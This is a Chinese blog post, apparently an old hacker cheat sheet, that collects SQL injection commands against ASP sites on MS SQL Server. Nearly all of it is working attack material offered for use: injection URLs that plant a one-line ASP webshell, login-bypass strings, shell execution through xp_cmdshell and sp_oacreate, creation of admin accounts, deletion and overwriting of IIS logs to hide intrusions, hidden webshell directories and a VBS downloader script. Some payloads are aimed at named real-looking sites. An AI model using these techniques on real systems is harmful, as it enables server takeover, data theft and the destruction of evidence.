整理的一些有用的ASP注入相關的命令 BY pt007&solaris7

整理的一些有用的ASP注入相關的命令 BY pt007&solaris7

大家好 ,我們是pt007和solaris7,QQ:7491805/564935,歡迎高手前來交流:)。

1、 用^轉義字符來寫ASP(一句話木馬)文件的方法:
http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:/mu.asp';--

 echo ^<%execute^(request^("l"^)^)%^> >c:/mu.asp

2、 顯示SQL系統版本:
http://192.168.1.5/display.asp?keyno=188 and 1=(select @@VERSION)
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@version)--

Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.0 (Build 2195: Service Pack 4) ' to a column of data type int.
/display.asp,行17
3、 在檢測索尼中國的網站漏洞時,分明已經確定了漏洞存在卻無法在這三種漏洞中找到對應的類型。偶然間我想到了在SQL語言中可以使用“in”關鍵字進行查詢,例如“select * from mytable where id in(1)”,括號中的值就是我們提交的數據,它的結果與使用“select * from mytable where id=1”的查詢結果完全相同。所以訪問頁面的時候在URL後面加上“) and 1=1 and 1 in(1”後原來的SQL語句就變成了“select * from mytable where id in(1) and 1=1 and 1 in(1)”,這樣就會出現期待已久的頁面了。暫且就叫這種類型的漏洞爲“包含數字型”吧,聰明的你一定想到了還有“包含字符型”呢。對了,它就是由於類似“select * from mytable where name in(‘firstsee’)”的查詢語句造成的。

4、 判斷xp_cmdshell擴展存儲過程是否存在:
http://192.168.1.5/display.asp?keyno=188 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = 'X' AND name = 'xp_cmdshell')
恢復xp_cmdshell擴展存儲的命令:
http://www.test.com/news/show1.asp?NewsId=125272
;exec master.dbo.sp_addextendedproc 'xp_cmdshell',’e:/inetput/web/xplog70.dll’;--

5、 向啓動組中寫入命令行和執行程序:
http://192.168.1.5/display.asp?keyno=188;EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Windows/CurrentVersion/Run','help1','REG_SZ','cmd.exe /c net user test ptlove /add'


6、 查看當前的數據庫名稱:
http://192.168.1.5/display.asp?keyno=188 and 0<>db_name()
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,db_name())--
Microsoft VBScript 編譯器錯誤 錯誤 '800a03f6'
缺少 'End'
/iisHelp/common/500-100.asp,行242
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'huidahouse' to a column of data type int.
/display.asp,行17
7、 列出當前所有的數據庫名稱:
select * from master.dbo.sysdatabases 列出所有列的記錄
select name from master.dbo.sysdatabases 僅列出name列的記錄

8、 不需xp_cmdshell支持在有注入漏洞的SQL服務器上運行CMD命令:
CREATE TABLE mytmp(info VARCHAR(400),ID int IDENTITY(1,1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的參數true指的是將等待程序運行的結果,對於類似ping的長時間命令必需使用此參數。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因爲fso的opentextfile方法將返回一個textstream對象,所以此時@file是一個對象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP

----------
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:/Inetpub/AdminScripts/adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINNT/system32/idq.dll" "C:/WINNT/system32/inetsrv/httpext.dll" "C:/WINNT/system32/inetsrv/httpodbc.dll" "C:/WINNT/system32/inetsrv/ssinc.dll" "C:/WINNT/system32/msw3prt.dll" "C:/winnt/system32/inetsrv/asp.dll">c:/temp.txt','0','true'
EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

以下是一行裏面將WEB用戶加到管理員組中:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript C:/Inetpub/AdminScripts/adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINNT/system32/idq.dll" "C:/WINNT/system32/inetsrv/httpext.dll" "C:/WINNT/system32/inetsrv/httpodbc.dll" "C:/WINNT/system32/inetsrv/ssinc.dll" "C:/WINNT/system32/msw3prt.dll" "C:/winnt/system32/inetsrv/asp.dll">c:/temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

以下是一行中執行EXE程序:
DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c cscript.exe E:/bjeea.net.cn/score/fts/images/iis.vbs lh1 c:/>c:/temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

SQL下三種執行CMD命令的方法:

先刪除7.18號日誌:
(1)exec master.dbo.xp_cmdshell 'del C:/winnt/system32/logfiles/W3SVC5/ex050718.log >c:/temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c del C:/winnt/system32/logfiles/W3SVC5/ex050718.log >c:/temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)首先開啓jet沙盤模式,通過擴展存儲過程xp_regwrite修改註冊表實現,管理員修改註冊表不能預防的原因。出於安全原因,默認沙盤模式未開啓,這就是爲什麼需要xp_regwrite的原因,而xp_regwrite至少需要DB_OWNER權限,爲了方便,這裏建議使用sysadmin權限測試:
 exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE/Microsoft/Jet/4.0/Engines','SandBoxMode','REG_DWORD',1
注:
0 禁止一切(默認)
1 使能訪問ACCESS,但是禁止其它
2 禁止訪問ACCESS,但是使能其他
3 使能一切

 這裏僅給出sysadmin權限下使用的命令:
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/winnt/system32/ias/ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')


 建立鏈接數據庫'L0op8ack'參考命令:
EXEC sp_addlinkedserver 'L0op8ack','OLE DB Provider for Jet','Microsoft.Jet.OLEDB.4.0','c:/windows/system32/ias/ias.mdb'

 如何使用鏈接數據庫:

使用這個方式可以執行,但是很不幸,DB_OWNER權限是不夠的,需要至少sysadmin權限或者securityadmin+setupadmin權限組合
sp_addlinkedserver需要sysadmin或setupadmin權限
sp_addlinkedsrvlogin需要sysadmin或securityadmin權限
最終發現,還是sa權限或者setupadmin+securityadmin權限帳戶才能使用,
一般沒有哪個管理員這麼設置普通帳戶權限的

實用性不強,僅作爲一個學習總結吧

大致過程如下,如果不是sysadmin,那麼IAS.mdb權限驗證會出錯,
我測試的時候授予hacker這個用戶setupadmin+securityadmin權限,使用ias.mdb失敗
需要找一個一般用戶可訪問的mdb纔可以:

 新建鏈接服務器”L0op8ack”:EXEC sp_addlinkedserver 'L0op8ack','JetOLEDB','Microsoft.Jet.OLEDB.4.0','c:/winnt/system32/ias/ias.mdb';--
 exec sp_addlinkedsrvlogin 'L0op8ack',' 'false'';--或
exec sp_addlinkedsrvlogin 'L0op8ack', 'false', NULL, 'test1', 'ptlove';--
 SELECT * FROM OPENQUERY(L0op8ack, 'SELECT shell("cmd.exe /c net user")');--
 exec sp_droplinkedsrvlogin 'L0op8ack','false';--
 exec sp_dropserver 'L0op8ack';--

再考貝一個其它文件來代替7.18日文件:
(1)exec master.dbo.xp_cmdshell 'copy C:/winnt/system32/logfiles/W3SVC5/ex050716.log C:/winnt/system32/logfiles/W3SVC5/ex050718.log>c:/temp.txt'

(2)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c copy C:/winnt/system32/logfiles/W3SVC5/ex050716.log C:/winnt/system32/logfiles/W3SVC5/ex050718.log>c:/temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

(3)DECLARE @shell INT DECLARE @fso INT DECLARE @file INT DECLARE @isEnd BIT DECLARE @out VARCHAR(400) EXEC sp_oacreate 'wscript.shell',@shell output EXEC sp_oamethod @shell,'run',null,'cmd.exe /c net user>c:/temp.txt','0','true' EXEC sp_oacreate 'scripting.filesystemobject',@fso output EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt' WHILE @shell>0 BEGIN EXEC sp_oamethod @file,'Readline',@out out INSERT INTO MYTMP(info) VALUES (@out) EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out IF @isEnd=1 BREAK ELSE CONTINUE END

9、 用UPDATE來更新表中的數據:
HTTP://xxx.xxx.xxx/abc.asp?p=YY;update upload.dbo.admin set pwd='a0b923820dcc509a' where username='www';--
www用戶密碼的16位MD5值爲:a0b923820dcc509a,即把密碼改成1;
32位MD5值爲: ,密碼爲

10、 利用表內容導成文件功能
SQL有BCP命令,它可以把表的內容導成文本文件並放到指定位置。利用這項功能,我們可以先建一張臨時表,然後在表中一行一行地輸入一個ASP木馬,然後用BCP命令導出形成ASP文件。
命令行格式如下:
bcp "select * from temp " queryout c:/inetpub/wwwroot/runcommand.asp –c –S localhost –U sa –P upload('S'參數爲執行查詢的服務器,'U'參數爲用戶名,'P'參數爲密碼,最終上傳了一個runcommand.asp的木馬)。

11、創建表、播入數據和讀取數據的方法
 創建表:
' and 1=1 union select 1,2,3,4;create table [dbo].[cyfd]([gyfd][char](255))--
 往表裏播入數據:
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) select top 1 name from upload.dbo.sysobjects where xtype='U' and status>0,@result output insert into cyfd (gyfd) values(@result);--
' and 1=1 union select 1,2,3,4;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
 從表裏讀取數據:
' and 1=(select count(*) from cyfd where gyfd >1)--

 刪除臨時表:
';drop table cyfd;--

12、通過SQL語句直接更改sa的密碼:
 update master.dbo.sysxlogins set password=0x0100AB01431E944AA50CBB30267F53B9451B7189CA67AF19A1FC944AA50CBB30267F53B9451B7189CA67AF19A1FC where sid=0x01,這樣sa的密碼就被我們改成了111111拉。呵呵,解決的方法就是把sa給刪拉。,怎麼刪可以參考我的《完全刪除sa這個後門》。

 查看本機所有的數據庫用戶名:
select * from master.dbo.sysxlogins
select name,sid,password ,dbid from master.dbo.sysxlogins

 更改sa口令方法:用sql綜合利用工具連接後,執行命令:
exec sp_password NULL,'新密碼','sa'

13、查詢dvbbs庫中所有的表名和表結構:
 select * from dvbbs.dbo.sysobjects where xtype='U' and status>0
 select * from dvbbs.dbo.syscolumns where id=1426104121

14、手工備份當前數據庫:
完全備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH formAT--
差異備份:
;declare @a sysname,@s nvarchar(4000)
select @a=db_name(),@s='c:/db1' backup database @a to disk=@s WITH DIFFERENTIAL,formAT—

15、添加和刪除一個SA權限的用戶test:
exec master.dbo.sp_addlogin test,ptlove
exec master.dbo.sp_addsrvrolemember test,sysadmin

cmd.exe /c isql -E /U alma /P /i K:/test.qry

16、select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0
就可以列出庫ChouYFD中所有的用戶建立的表名。
Select name,id from ChouYFD.dbo.sysobjects where xtype='U' and status>0

17、
http://www.npc.gov.cn/zgrdw/common/...p?sqlstr=select * from rdweb.dbo.syscolumns (where id=1234)
列出rdweb庫中所有表中的字段名稱
 select * from dvbbs.dbo.syscolumns where id=5575058
列出庫dvbbs中表id=5575058的所有字段名

18、刪除記錄命令:delete from Dv_topic where boardid=5 and topicid=7978

19、繞過登錄驗證進入後臺的方法整理:
1) ' or''='
2) ' or 1=1--
3) ‘ or ‘a’=’a--
4) ‘or’=’or’
5) " or 1=1--
6)or 1=1--
7) or ’a=’a
8)" or "a"="a
9) ’) or (’a’=’a
10) ") or ("a"="a
11) ) or (1=1
12) 'or''='
13) 人氣%’ and 1=1 and ’%’=’

20、尋找網站路徑的方法彙總:
1)查看WEB網站安裝目錄命令:
 cscript c:/inetpub/adminscripts/adsutil.vbs enum w3svc/2/root >c:/test1.txt (將2換成1、3、4、5試試)
type c:/test1.txt
del c:/test1.txt
在NBSI下可以直接顯示運行結果,所以不用導出到文件

2)在網站上隨便找到一個圖片的名字 123.jpg
然後寫進批處理程序123.bat:
d:
dir 123.jpg /s >c:/123.txt
e:
dir 123.jpg /s >>c:/123.txt
f:
dir 123.jpg /s >>c:/123.txt

執行後 type c:/123.txt
這樣來分析網站的路徑

3)SQL服務器和網站服務器在同一個服務器上,好了是可以執行命令是吧?
將執行命令輸出結果到
%windir%/help/iishelp/common/404b.htm或者500.asp
注意輸出前Backup這兩個文件
如:
dir c:/ >%windir%/help/iishelp/common/404b.htm
然後隨便輸入一個文件來訪問:
http://目標ip/2.asp

4)針對win2000系統:xp_regread讀取HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots 獲取WEB路徑
2003系統:xp_regread讀取,未找到方法
如:
(1) 新建一個表cyfd(字段爲gyfd):
http://www.cnwill.com/NewsShow.aspx?id=4844;create table [dbo].[cyfd]([gyfd][char](255))--
(2) 把web路徑寫進去:
http://www.cnwill.com/NewsShow.aspx?id=4844;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM/CONTROLSet001/Services/W3SVC/Parameters/Virtual Roots', '/' ,@result output insert into cyfd (gyfd) values(@result);--
(3) 還是讓他不匹配,顯示錯誤:
http://www.cnwill.com/NewsShow.aspx?id=4844 and 1=(select count(*) from cyfd where gyfd >1)
Source: .Net SqlClient Data Provider
Description: 將 varchar 值 'Y:/Web/煙臺人才熱線後臺管理系統,,201 ' 轉換爲數據類型爲 int 的列時發生語法錯誤。
TargeSite: Boolean Read() 哈哈哈。。路徑暴露了。。
(4)接下來刪除表:
http://www.cnwill.com/NewsShow.aspx?id=4844;drop table cyfd;--

5)用regedit命令導出註冊表,將導出的結果保存的路徑到%windir%/help/iishelp/common/404b.htm或者500.asp頁面
regedit命令說明:
Regedit /L:system /R:user /E filename.reg Regpath
參數含義:
/L:system指定System.dat文件所在的路徑。
/R:user指定User.dat文件所在的路徑。
/E:此參數指定註冊表編輯器要進行導出註冊表操作,在此參數後面空一格,輸入導出註冊表的文件名。
Regpath:用來指定要導出哪個註冊表的分支,如果不指定,則將導出全部註冊表分支。在這些參數中,"/L:system"和"/R:user"參數是可選項,如果不使用這兩個參數,註冊表編輯器則認爲是對WINDOWS目錄下的"system.dat"和"user.dat"文件進行操作。如果是通過從軟盤啓動並進入DOS,那麼就必須使用"/L"和"/R"參數來指定"system.dat"和"user.dat"文件的具體路徑,否則註冊表編輯器將無法找到它們。比如說,如果通過啓動盤進入DOS,則備份註冊表的命令是"Regedit /L:C:/windows//R:C:/windows//e regedit.reg",該命令的意思是把整個註冊表備份到WINDOWS目錄下,其文件名爲"regedit.reg"。而如果輸入的是"regedit /E D:/regedit.reg"這條命令,則是說把整個註冊表備份到D盤的根目錄下(省略了"/L"和"/R"參數),其文件名爲"Regedit.reg"。

regedit /s c:/adam.reg (導入c:/adam.reg文件至註冊表)
regedit /e c:/web.reg (備份全部註冊內容到c:/web.reg中)
針對win2000系統:C:/>regedit /e %windir%/help/iishelp/common/404b.htm "HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/W3SVC/Parameters/Virtual Roots"
然後
http://目標IP/2.asp
針對win2003系統:沒有找到,希望找到的朋友公佈出來一起討論。

6)虛擬主機下%SystemRoot%/system32/inetsrv/MetaBack/下的文件是iis的備份文件,是允許web用戶訪問的,如果你的iis備份到這裏,用webshell下載下來後用記事本打開,可以獲取對應的域名和web絕對路徑。

7)SQL注入建立虛擬目錄,有dbo權限下找不到web絕對路徑的一種解決辦法:
我們很多情況下都遇到SQL注入可以列目錄和運行命令,但是卻很不容易找到web所在目錄,也就不好得到一個webshell,這一招不錯:
 建立虛擬目錄win,指向c:/winnt/system32:exec master.dbo.xp_cmdshell 'cscript C:/inetpub/AdminScripts/mkwebdir.vbs -c localhost -w "l" -v "win","c:/winnt/system32"'
 讓win目錄具有解析asp腳本權限:exec master.dbo.xp_cmdshell 'cscript C:/inetpub/AdminScripts/adsutil.vbs set w3svc/1/root/win/Accessexecute "true" –s:'
 刪除虛擬目錄win:exec master.dbo.xp_cmdshell 'cscript C:/inetpub/AdminScripts/adsutil.vbs delete w3svc/1/root/win/'
 測試:
http://127.0.0.1/win/test.asp
8)利用SQL語句來查找WEB目錄:根據經驗,猜疑WEB根目錄的順序是:d盤、e盤、c盤,首先我們建立一個臨時表用於存放master..xp_dirtree(適合於public)生成的目錄樹,用以下語句:
;create table temp(dir nvarchar(255),depth varchar(255));--,該表的dir字段表示目錄的名稱,depth字段表示目錄的深度。然後執行xp_dirtree獲得D盤的目錄樹,語句如下:
;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

在進行下面的操作前,先查看D盤有幾個文件夾,這樣對D盤有個大致的瞭解,語句如下:
and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=數字(數字=0、1、2、3...)

接着,我們在對方的網站上找幾個一級子目錄,如user、photo,然後,用篩選的方法來判斷WEB根目錄上是否存在此盤上,語句如下:
and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

看語句的返回結果,如果爲真,表示WEB根目錄有可能在此盤上,爲了進一步確認,多測試幾個子目錄:
and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

...

如果所有的測試結果都爲真,表示WEB根目錄很有可能在此盤上。

下面假設找到的WEB根目錄在此盤上,用以下的語句來獲得一級子目錄的深度:
and (select depth from temp where dir='user')>=數字(數字=1、2、3...)

假設得到的depth是3,說明user目錄是D盤的3級目錄,則WEB根目錄是D盤的二級目錄。

目前我們已經知道了根目錄所在的盤符和深度,要找到根目錄的具體位置,我們來從D盤根目錄開始逐一搜尋,當然,沒有必要知道每個目錄的名稱,否則太耗費時間了。

接下來,另外建立一個臨時表,用來存放D盤的1級子目錄下的所有目錄,語句如下:

;create table temp1(dir nvarchar(255),depth varchar(255));--

然後把從D盤的第一個子目錄下的所有目錄存到temp1中,語句如下:
declare @dirname varchar(255);set @dirname='d:'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname
當然也可以把D盤的第二個子目錄下的所有目錄存到temp1中,只需把第二個top 1改爲top 2就行了。

現在,temp1中已經保存了所有D盤第一級子目錄下的所有目錄,然後,我們用同樣的方法來判斷根目錄是否在此一級子目錄下:
and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)
如果返回爲真,表示根目錄可能在此子目錄下,記住要多測試幾個例子,如果都返回爲假,則表明WEB根目錄不在此目錄下,然後我們在用同樣的方法來獲得D盤第2、3...個子目錄下的所有目錄列表,來判斷WEB根目錄是否在其下。但是,要注意,用xp_dirtree前一定要把temp1表中的內容刪除。

現在假設,WEB根目錄在D盤的第一級子目錄下,該子目錄名稱爲website,怎樣獲得這個目錄的名稱我想不用我說了吧。因爲前面我們知道了WEB根目錄的深度爲2,我們需要知道website下到底哪個纔是真正的WEB根目錄。

現在,我們用同樣的方法,再建立第3個臨時表:
;create table temp2(dir nvarchar(255),depth varchar(255));--

然後把從D盤的website下的所有目錄存到temp2中,語句如下:
declare @dirname varchar(255);set @dirname='d:/website'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname
當然也可以把D盤的website下第二個子目錄下的所有目錄存到temp2中,只需把第二個top 1改爲top 2就行了。

現在,我們用同樣的方法判斷該目錄是否爲根目錄:
and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)
如果返回爲真,爲了確定我們的判斷,多測試幾個例子,方法上面都講到了,如果多個例子都返回爲真,那麼就確定了該目錄爲WEB根目錄。


用以上的方法基本上可以獲得WEB根目錄,現在我們假設WEB根目錄是:D:/website/www
然後,我們就可以備份當前數據庫到這個目錄下用來下載。備份前我們把temp、temp1、temp2的內容清空,然後C、D、E盤的目錄樹分別存到temp、temp1、temp2中。

下載完數據庫後要記得把三個臨時表DROP掉,現在我們在下載的數據庫中可以找到所有的目錄列表,包括後臺管理的目錄以及更多信息。

21、win2000下將WEB用戶提升爲系統用戶權限,需要有管理員的權限才能執行:
c:/>cscript C:/Inetpub/AdminScripts/adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/WINNT/system32/idq.dll" "C:/WINNT/system32/inetsrv/httpext.dll" "C:/WINNT/system32/inetsrv/httpodbc.dll" "C:/WINNT/system32/inetsrv/ssinc.dll" "C:/WINNT/system32/msw3prt.dll" "C:/winnt/system32/inetsrv/asp.dll"

cscript C:/Inetpub/AdminScripts/adsutil.vbs set /W3SVC/InProcessIsapiApps "C:/windows/system32/idq.dll" "C:/windows/system32/inetsrv/httpext.dll" "C:/windows/system32/inetsrv/httpodbc.dll" "C:/windows/system32/inetsrv/ssinc.dll" "C:/windows/system32/msw3prt.dll" "C:/windows/system32/inetsrv/asp.dll"

查看是否成功:
c:/>cscript C:/Inetpub/AdminScripts/adsutil.vbs get w3svc/inprocessisapiapps

Microsoft (R) Windows Script Host Version 5.6
版權所有(C) Microsoft Corporation 1996-2001。保留所有權利。
inprocessisapiapps : (LIST) (6 Items)
"C:/WINNT/system32/idq.dll"
"C:/WINNT/system32/inetsrv/httpext.dll"
"C:/WINNT/system32/inetsrv/httpodbc.dll"
"C:/WINNT/system32/inetsrv/ssinc.dll"
"C:/WINNT/system32/msw3prt.dll"
"c:/winnt/system32/inetsrv/asp.dll"

22、如何隱藏ASP木馬:
建立非標準目錄:mkdir images../
拷貝ASP木馬至目錄:copy c:/inetpub/wwwroot/dbm6.asp c:/inetpub/wwwroot/images../news.asp
通過web訪問ASP木馬:
http://ip/images../news.asp?action=login
如何刪除非標準目錄:rmdir images../ /s

23、去掉tenlnet的ntlm認證:
;exec master.dbo.xp_cmdshell 'tlntadmn config sec = -ntlm'—

24、用echo寫入文件下載腳本iget.vbs:
(1)echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open ^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s = CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >c:/iget.vbs

(2)c:/>cscript iget.vbs
http://127.0.0.1/asp/dbm6.asp dbm6.asp


25、手工建立IIS隱藏目錄的方法:
 查看本地虛擬目錄列表:cscript.exe c:/inetpub/AdminScripts/adsutil.vbs enum w3svc/1/root
 新建一個kiss目錄:mkdir c:/asp/kiss
 建立kiss虛擬目錄:cscript.exe c:/inetpub/AdminScripts/mkwebdir.vbs -c MyComputer -w "Default Web Site" -v "kiss","c:/asp/kiss"
 爲kiss目錄加執行和寫權限:
cscript.exe c:/inetpub/AdminScripts/adsutil.vbs set w3svc/1/root/kiss/kiss/accesswrite "true" -s:
cscript.exe c:/inetpub/AdminScripts/adsutil.vbs set w3svc/1/root/kiss/accessexecute "true" -s:
 ?:Cscript c:/inetpub/AdminScripts/adsutil.vbs set /w3svc/1/root/kiss/createprocessasuser false
 訪問:
http://127.0.0.1/kiss/test.asp

26、使用openrowset()連回本地做測試:
SELECT a.*
FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'SELECT * FROM [dvbbs].[dbo].[dv_admin]') AS a

SELECT * FROM OPENROWSET('SQLOLEDB','127.0.0.1';'sa';'111111',
'SELECT * FROM [dvbbs].[dbo].[dv_admin]')

27、獲得主機名:
http://www.xxxx.com/FullStory.asp?id=1 and 1=convert(int,@@servername)--
select convert(int,@@servername)
select @@servername

28、獲得數據庫用戶名:
http://www.XXXX.com/FullStory.asp?id=1 and 1=convert(int,system_user)--
http://www.19cn.com/showdetail.asp?id=49 and user>0
select user

29、普通用戶獲得WEBSHELL的方法之二:
 打包:
EXEC [master].[dbo].[xp_makecab] 'c:/test.rar','default',1,'d:/cmd.asp'
解包,可以用於得到webshell:
 EXEC [master].[dbo].[xp_unpackcab] 'C:/test.rar','c:',1, 'n.asp'
 讀任意文件內容,要求有master的dbo權限:
EXEC [master].[dbo].[xp_readerrorlog] 1,'c:/cmd.asp'

發佈了24 篇原創文章 · 獲贊 0 · 訪問量 3萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章